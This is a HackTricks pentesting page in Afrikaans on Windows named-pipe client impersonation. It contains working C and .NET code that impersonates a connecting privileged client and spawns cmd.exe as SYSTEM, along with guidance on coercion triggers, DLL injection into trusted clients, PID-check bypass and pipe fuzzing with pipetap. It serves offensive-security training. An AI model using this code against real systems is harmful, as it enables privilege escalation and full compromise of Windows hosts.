Named Pipe Client Impersonation
Tip
Leer en oefen AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Leer en oefen Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Ondersteun HackTricks
- Kyk na die subskripsie planne!
- Sluit aan by die š¬ Discord groep of die telegram groep of volg ons op Twitter š¦ @hacktricks_live.
- Deel hacking truuks deur PRs in te dien na die HackTricks en HackTricks Cloud github repos.
Named Pipe client impersonation is ān lokale privilege escalation primitive wat ān named-pipe server-draad toelaat om die sekuriteitskonteks van ān kliĆ«nt wat daaraan koppel, aan te neem. In die praktyk kan ān aanvaller wat kode met SeImpersonatePrivilege kan uitvoer ān bevoorregte kliĆ«nt (bv. ān SYSTEM-diens) dwing om aan ān aanvaller-beheerde pipe te koppel, ImpersonateNamedPipeClient aan te roep, die resultaat-token in ān primĆŖre token te dupliseer, en ān proses as die kliĆ«nt te spawn (dikwels NT AUTHORITY\SYSTEM).
Hierdie bladsy fokus op die kerntegniek. Vir end-to-end exploit chains wat SYSTEM na jou pipe dwing, sien die Potato family pages wat hieronder verwys word.
TL;DR
- Skep ān named pipe: \.\pipe<random> en wag vir ān verbinding.
- Kry ān bevoorregte komponent om daaraan te koppel (spooler/DCOM/EFSRPC/etc.).
- Lees ten minste een boodskap vanaf die pipe, en roep dan ImpersonateNamedPipeClient aan.
- Open die impersonation-token vanaf die huidige draad, DuplicateTokenEx(TokenPrimary), en gebruik CreateProcessWithTokenW/CreateProcessAsUser om ān SYSTEM-proses te kry.
Requirements and key APIs
- Privileges wat gewoonlik benodig word deur die oproepende proses/draad:
- SeImpersonatePrivilege om suksesvol ān koppelende kliĆ«nt te kan impersonate en om CreateProcessWithTokenW te gebruik.
- Alternatiewelik, nadat jy SYSTEM geĆÆmpersonate het, kan jy CreateProcessAsUser gebruik, wat moontlik SeAssignPrimaryTokenPrivilege en SeIncreaseQuotaPrivilege benodig (hierdie word voldoen terwyl jy SYSTEM impersonate).
- Kern-APIs wat gebruik word:
- CreateNamedPipe / ConnectNamedPipe
- ReadFile/WriteFile (moet ten minste een boodskap lees voordat impersonation gebeur)
- ImpersonateNamedPipeClient en RevertToSelf
- OpenThreadToken, DuplicateTokenEx(TokenPrimary)
- CreateProcessWithTokenW of CreateProcessAsUser
- Impersonation level: om nuttige aksies plaaslik uit te voer, moet die kliƫnt SecurityImpersonation toelaat (standaard vir baie lokale RPC/named-pipe kliƫnte). Kliƫnte kan dit verlaag met SECURITY_SQOS_PRESENT | SECURITY_IDENTIFICATION wanneer hulle die pipe oopmaak.
Minimal Win32 workflow (C)
// Minimal skeleton (no error handling hardening for brevity)
#include <windows.h>
#include <stdio.h>
int main(void) {
LPCSTR pipe = "\\\\.\\pipe\\evil";
HANDLE hPipe = CreateNamedPipeA(
pipe,
PIPE_ACCESS_DUPLEX,
PIPE_TYPE_MESSAGE | PIPE_READMODE_MESSAGE | PIPE_WAIT,
1, 0, 0, 0, NULL);
if (hPipe == INVALID_HANDLE_VALUE) return 1;
// Wait for privileged client to connect (see Triggers section)
if (!ConnectNamedPipe(hPipe, NULL)) return 2;
// Read at least one message before impersonation
char buf[4]; DWORD rb = 0; ReadFile(hPipe, buf, sizeof(buf), &rb, NULL);
// Impersonate the last message sender
if (!ImpersonateNamedPipeClient(hPipe)) return 3; // ERROR_CANNOT_IMPERSONATE==1368
// Extract and duplicate the impersonation token into a primary token
HANDLE impTok = NULL, priTok = NULL;
if (!OpenThreadToken(GetCurrentThread(), TOKEN_ALL_ACCESS, FALSE, &impTok)) return 4;
if (!DuplicateTokenEx(impTok, TOKEN_ALL_ACCESS, NULL, SecurityImpersonation, TokenPrimary, &priTok)) return 5;
// Spawn as the client (often SYSTEM). CreateProcessWithTokenW requires SeImpersonatePrivilege.
STARTUPINFOW si = { .cb = sizeof(si) }; PROCESS_INFORMATION pi = {0};
if (!CreateProcessWithTokenW(priTok, LOGON_NETCREDENTIALS_ONLY,
L"C\\\\Windows\\\\System32\\\\cmd.exe", NULL,
0, NULL, NULL, &si, &pi)) {
// Fallback: CreateProcessAsUser after you already impersonated SYSTEM
CreateProcessAsUserW(priTok, L"C\\\\Windows\\\\System32\\\\cmd.exe", NULL,
NULL, NULL, FALSE, 0, NULL, NULL, &si, &pi);
}
RevertToSelf(); // Restore original context
return 0;
}
Aantekeninge:
- Indien ImpersonateNamedPipeClient ERROR_CANNOT_IMPERSONATE (1368) teruggee, maak seker dat jy eers vanaf die pipe lees en dat die kliƫnt impersonation nie tot die Identification level beperk het nie.
- Gebruik by voorkeur DuplicateTokenEx met SecurityImpersonation en TokenPrimary om ān primary token geskik vir process creation te skep.
.NET vinnige voorbeeld
In .NET kan NamedPipeServerStream via RunAsClient impersonate. Sodra jy impersonating is, dupliseer die thread token en skep ān proses.
using System; using System.IO.Pipes; using System.Runtime.InteropServices; using System.Diagnostics;
class P {
[DllImport("advapi32", SetLastError=true)] static extern bool OpenThreadToken(IntPtr t, uint a, bool o, out IntPtr h);
[DllImport("advapi32", SetLastError=true)] static extern bool DuplicateTokenEx(IntPtr e, uint a, IntPtr sd, int il, int tt, out IntPtr p);
[DllImport("advapi32", SetLastError=true, CharSet=CharSet.Unicode)] static extern bool CreateProcessWithTokenW(IntPtr hTok, int f, string app, string cmd, int c, IntPtr env, string cwd, ref ProcessStartInfo si, out Process pi);
static void Main(){
using var s = new NamedPipeServerStream("evil", PipeDirection.InOut, 1);
s.WaitForConnection();
// Ensure client sent something so the token is available
s.RunAsClient(() => {
IntPtr t; if(!OpenThreadToken(Process.GetCurrentProcess().Handle, 0xF01FF, false, out t)) return; // TOKEN_ALL_ACCESS
IntPtr p; if(!DuplicateTokenEx(t, 0xF01FF, IntPtr.Zero, 2, 1, out p)) return; // SecurityImpersonation, TokenPrimary
var psi = new ProcessStartInfo("C\\Windows\\System32\\cmd.exe");
Process pi; CreateProcessWithTokenW(p, 2, null, null, 0, IntPtr.Zero, null, ref psi, out pi);
});
}
}
Algemene triggers/afdwingingsmetodes om SYSTEM na jou pipe te kry
Hierdie tegnieke dwing geprivilegieerde dienste om met jou named pipe te verbind sodat jy hulle kan impersonate:
- Print Spooler RPC trigger (PrintSpoofer)
- DCOM activation/NTLM reflection variants (RoguePotato/JuicyPotato[NG], GodPotato)
- EFSRPC pipes (EfsPotato/SharpEfsPotato)
See detailed usage and compatibility here:
RoguePotato, PrintSpoofer, SharpEfsPotato, GodPotato
If you just need a full example of crafting the pipe and impersonating to spawn SYSTEM from a service trigger, see:
From High Integrity to SYSTEM with Name Pipes
Named Pipe IPC-misbruik & MITM (DLL Injection, API Hooking, PID Validation Bypass)
Named-pipe hardened services kan steeds gekaap word deur die vertroude client te instrumenteer. Tools soos pipetap plaas ān helper DLL in die client, proxieer sy verkeer, en laat jou gemanipuleer met geprivilegieerde IPC voordat die SYSTEM-diens dit verbruik.
Inline API hooking binne vertroude prosesse
- Inject the helper DLL (OpenProcess ā CreateRemoteThread ā LoadLibrary) in enige client.
- Die DLL gebruik Detours op
ReadFile,WriteFile, ens., maar slegs wanneerGetFileTypeFILE_TYPE_PIPErapporteer, kopieer elke buffer/metagegewens na ān control pipe, laat jou dit edit/drop/replay, en hervat dan die oorspronklike API. - Verander die legitieme client in ān Burp-style proxy: pauzeer UTF-8/UTF-16/raw payloads, trigger foutpaaie, replay reekse, of exporteer JSON-traces.
Remote client-modus om PID-gebaseerde verifikasie te oorwin
- Inject in ān allow-listed client, dan kies in die GUI die pipe plus daardie PID.
- Die DLL voer
CreateFile/ConnectNamedPipebinne die vertroude proses uit en stuur die I/O terug aan jou, sodat die bediener steeds die legitieme PID/image waarneem. - Omseil filters wat staatmaak op
GetNamedPipeClientProcessIdof signed-image kontroles.
Vinnige enumerasie en fuzzing
pipelistenumereer\\.\pipe\*, wys ACLs/SIDs, en stuur inskrywings aan ander modules vir onmiddelike probing.- Die pipe client/message composer verbind met enige naam en bou UTF-8/UTF-16/raw-hex payloads; importeer captured blobs, muteer velde, en stuur weer om deserializers of unauthenticated command verbs te jag.
- Die helper DLL kan ān loopback TCP-listener host sodat tooling/fuzzers die pipe op afstand kan bestuur via die Python SDK.
pip install pipetap
import pipetap
client = pipetap.Client(("127.0.0.1", 47001))
client.write(b"OP\x00\x01...")
Kombineer die TCP bridge met VM snapshot restores om kwesbare IPC-parsers te crash-test.
Operasionele oorwegings
- Named pipes is lae-latensie; lang pouses terwyl buffers gewysig word kan brosdienste in ān deadlock laat beland.
- Overlapped/completion-port I/O-dekking is gedeeltelik, dus verwag randgevalle.
- Injection is luidrugtig en unsigned, behandel dit dus as ān lab/exploit-dev helper eerder as ān stealth implant.
Probleemoplossing en valklemme
- Jy moet ten minste een boodskap van die pipe lees voordat jy ImpersonateNamedPipeClient aanroep; anders kry jy ERROR_CANNOT_IMPERSONATE (1368).
- As die kliƫnt koppel met SECURITY_SQOS_PRESENT | SECURITY_IDENTIFICATION, kan die bediener nie volledig impersonate nie; kontroleer die token se impersonation level via GetTokenInformation(TokenImpersonationLevel).
- CreateProcessWithTokenW vereis SeImpersonatePrivilege op die aanroeper. As dit misluk met ERROR_PRIVILEGE_NOT_HELD (1314), gebruik CreateProcessAsUser nadat jy reeds SYSTEM geĆÆmpersonifieer het.
- Maak seker jou pipe se security descriptor laat die teiken-diens toe om te koppel as jy dit verskerp; standaard is pipes onder \.\pipe toeganklik volgens die bediener se DACL.
References
- Windows: ImpersonateNamedPipeClient documentation
- ired.team: Windows named pipes privilege escalation
- pipetap ā a Windows named pipe proxy tool
Tip
Leer en oefen AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Leer en oefen Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Ondersteun HackTricks
- Kyk na die subskripsie planne!
- Sluit aan by die š¬ Discord groep of die telegram groep of volg ons op Twitter š¦ @hacktricks_live.
- Deel hacking truuks deur PRs in te dien na die HackTricks en HackTricks Cloud github repos.
HackTricks

